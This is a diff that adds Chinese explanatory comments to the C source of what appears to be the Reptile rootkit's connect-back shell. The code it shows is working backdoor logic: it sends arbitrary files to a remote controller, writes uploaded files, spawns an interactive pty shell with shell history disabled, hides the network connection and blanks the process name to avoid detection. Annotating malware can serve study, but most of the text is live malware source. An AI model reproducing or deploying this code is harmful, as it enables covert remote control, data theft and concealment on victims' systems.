|
|
|
@ -23,6 +23,7 @@ char *rcfile;
|
|
|
|
|
|
|
|
|
|
#ifndef _REPTILE_
|
|
|
|
|
|
|
|
|
|
// 打印使用说明
|
|
|
|
|
void usage(char *argv0)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
|
|
|
|
@ -31,10 +32,12 @@ void usage(char *argv0)
|
|
|
|
|
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
// 获取文件
|
|
|
|
|
int get_file(int client)
|
|
|
|
|
{
|
|
|
|
|
int ret, len, fd;
|
|
|
|
|
|
|
|
|
|
// 接收文件名
|
|
|
|
|
ret = pel_recv_msg(client, message, &len);
|
|
|
|
|
|
|
|
|
|
if (ret != PEL_SUCCESS)
|
|
|
|
@ -45,11 +48,13 @@ int get_file(int client)
|
|
|
|
|
|
|
|
|
|
message[len] = '\0';
|
|
|
|
|
|
|
|
|
|
// 打开文件
|
|
|
|
|
fd = open((char *)message, O_RDONLY);
|
|
|
|
|
|
|
|
|
|
if (fd < 0)
|
|
|
|
|
return (ERROR);
|
|
|
|
|
|
|
|
|
|
// 读取文件内容并发送
|
|
|
|
|
while (1) {
|
|
|
|
|
len = read(fd, message, BUFSIZE);
|
|
|
|
|
|
|
|
|
@ -66,10 +71,12 @@ int get_file(int client)
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 上传文件
|
|
|
|
|
int put_file(int client)
|
|
|
|
|
{
|
|
|
|
|
int ret, len, fd;
|
|
|
|
|
|
|
|
|
|
// 接收文件名
|
|
|
|
|
ret = pel_recv_msg(client, message, &len);
|
|
|
|
|
|
|
|
|
|
if (ret != PEL_SUCCESS)
|
|
|
|
@ -84,6 +91,7 @@ int put_file(int client)
|
|
|
|
|
if (fd < 0)
|
|
|
|
|
return (ERROR);
|
|
|
|
|
|
|
|
|
|
// 接收文件内容并写入
|
|
|
|
|
while (1) {
|
|
|
|
|
ret = pel_recv_msg(client, message, &len);
|
|
|
|
|
|
|
|
|
@ -99,6 +107,7 @@ int put_file(int client)
|
|
|
|
|
return 0;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 运行 shell
|
|
|
|
|
int runshell(int client)
|
|
|
|
|
{
|
|
|
|
|
fd_set rd;
|
|
|
|
@ -106,6 +115,7 @@ int runshell(int client)
|
|
|
|
|
char *slave, *temp, *shell;
|
|
|
|
|
int ret, len, pid, pty, tty, n;
|
|
|
|
|
|
|
|
|
|
// 打开伪终端
|
|
|
|
|
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
|
|
|
|
|
return (ERROR);
|
|
|
|
|
|
|
|
|
@ -117,6 +127,7 @@ int runshell(int client)
|
|
|
|
|
chdir(HOMEDIR);
|
|
|
|
|
putenv("HISTFILE=");
|
|
|
|
|
|
|
|
|
|
// 接收终端类型
|
|
|
|
|
ret = pel_recv_msg(client, message, &len);
|
|
|
|
|
|
|
|
|
|
if (ret != PEL_SUCCESS)
|
|
|
|
@ -125,6 +136,7 @@ int runshell(int client)
|
|
|
|
|
message[len] = '\0';
|
|
|
|
|
setenv("TERM", (char *)message, 1);
|
|
|
|
|
|
|
|
|
|
// 接收窗口大小
|
|
|
|
|
ret = pel_recv_msg(client, message, &len);
|
|
|
|
|
|
|
|
|
|
if (ret != PEL_SUCCESS || len != 4)
|
|
|
|
@ -138,6 +150,7 @@ int runshell(int client)
|
|
|
|
|
if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
|
|
|
|
|
return (ERROR);
|
|
|
|
|
|
|
|
|
|
// 接收命令
|
|
|
|
|
ret = pel_recv_msg(client, message, &len);
|
|
|
|
|
|
|
|
|
|
if (ret != PEL_SUCCESS)
|
|
|
|
@ -161,6 +174,7 @@ int runshell(int client)
|
|
|
|
|
strncpy(temp, (char *)message, len + 1);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 创建子进程
|
|
|
|
|
pid = fork();
|
|
|
|
|
|
|
|
|
|
if (pid < 0) {
|
|
|
|
@ -206,6 +220,7 @@ int runshell(int client)
|
|
|
|
|
} else {
|
|
|
|
|
close(tty);
|
|
|
|
|
|
|
|
|
|
// 处理数据传输
|
|
|
|
|
while (1) {
|
|
|
|
|
FD_ZERO(&rd);
|
|
|
|
|
FD_SET(client, &rd);
|
|
|
|
@ -253,6 +268,7 @@ struct control {
|
|
|
|
|
void *argv;
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
// 隐藏连接
|
|
|
|
|
void hide_conn(struct sockaddr_in addr, int hide)
|
|
|
|
|
{
|
|
|
|
|
struct control args;
|
|
|
|
@ -279,6 +295,7 @@ void hide_conn(struct sockaddr_in addr, int hide)
|
|
|
|
|
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
// 构建 rcfile 路径
|
|
|
|
|
int build_rcfile_path(void)
|
|
|
|
|
{
|
|
|
|
|
char *name = NAME;
|
|
|
|
@ -303,6 +320,7 @@ int main(int argc, char **argv)
|
|
|
|
|
struct hostent *client_host;
|
|
|
|
|
socklen_t n;
|
|
|
|
|
|
|
|
|
|
// 解析命令行参数
|
|
|
|
|
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
|
|
|
|
|
switch (opt) {
|
|
|
|
|
case 't':
|
|
|
|
@ -340,6 +358,7 @@ int main(int argc, char **argv)
|
|
|
|
|
goto out;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// 隐藏进程名称
|
|
|
|
|
arg0_len = strlen(argv[0]);
|
|
|
|
|
bzero(argv[0], arg0_len);
|
|
|
|
|
|
|
|
|
@ -373,6 +392,7 @@ int main(int argc, char **argv)
|
|
|
|
|
if (build_rcfile_path())
|
|
|
|
|
goto out;
|
|
|
|
|
|
|
|
|
|
// 创建子进程
|
|
|
|
|
pid = fork();
|
|
|
|
|
|
|
|
|
|
if (pid < 0)
|
|
|
|
|